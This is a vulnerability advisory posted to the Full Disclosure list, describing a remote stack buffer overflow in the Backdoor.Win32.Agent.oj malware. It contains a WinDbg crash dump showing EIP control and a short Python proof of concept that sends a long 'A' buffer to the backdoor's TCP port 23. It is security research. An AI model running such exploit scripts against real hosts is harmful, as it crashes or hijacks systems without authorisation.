Message-ID: <CAAHK0WR3nZrRNYe3C6m=6ACeAUt+QTVwtqf2o7oHLqQs6E+qWw@mail.gmail.com>
Date: Thu, 29 Apr 2021 22:00:40 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.oj / Remote Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/c1e92e04cdb432d83ea2610ef226d4cd.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.oj
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 23. Third-party attackers can
send a specially crafted payload, triggering a classic stack buffer
overflow overwriting ECX, EIP registers.
Type: PE32
MD5: c1e92e04cdb432d83ea2610ef226d4cd
Vuln ID: MVID-2021-0196
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/29/2021

Memory Dump:
(b18.1c64): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000
edi=00000000
eip=41414141 esp=03151660 ebp=03151680 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???

0:003> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000
edi=00000000
eip=41414141 esp=03151660 ebp=03151680 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???

0:003> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe

FAULTING_IP:
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255
00402255 88443418        mov     byte ptr [esp+esi+18h],al

EXCEPTION_RECORD:  0324f9f4 -- (.exr 0x324f9f4)
ExceptionAddress: 00402255
(Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x00002255)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 03250000
Attempt to write to address 03250000

PROCESS_NAME:  Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255
00402255 88443418        mov     byte ptr [esp+esi+18h],al

FAILED_INSTRUCTION_ADDRESS:
+2255
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  02910b70
The fault address in not in any loaded module, please check your build's
rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which
may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0324fa44 -- (.cxr 0x324fa44)
eax=00000041 ebx=7774e250 ecx=f2b2fa60 edx=0324fdc4 esi=00000144
edi=02910b70
eip=00402255 esp=0324fea4 ebp=743d1e90 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x2255:
00402255 88443418        mov     byte ptr [esp+esi+18h],al
 ss:002b:03250000=??
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:
 STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 02910b70 to 00402255

FRAME_ONE_INVALID: 1

STACK_TEXT:
0324fea4 00402255 backdoor_win32_agent_oj+0x2255
0324fea8 02910b70 unknown!unknown+0x0


STACK_COMMAND:  .cxr 000000000324FA44 ; kb ; dds 324fea4 ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  backdoor_win32_agent_oj+2255

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd

IMAGE_NAME:  Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  378468b1

FAILURE_BUCKET_ID:
 STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_agent_oj+2255



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=23

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOADOR="A"*2879
    s.send(PAYLOADOR)
    s.close()

    print("Backdoor.Win32.Agent.oj / Remote Stack Buffer Overflow")
    print("MD5: c1e92e04cdb432d83ea2610ef226d4cd")
    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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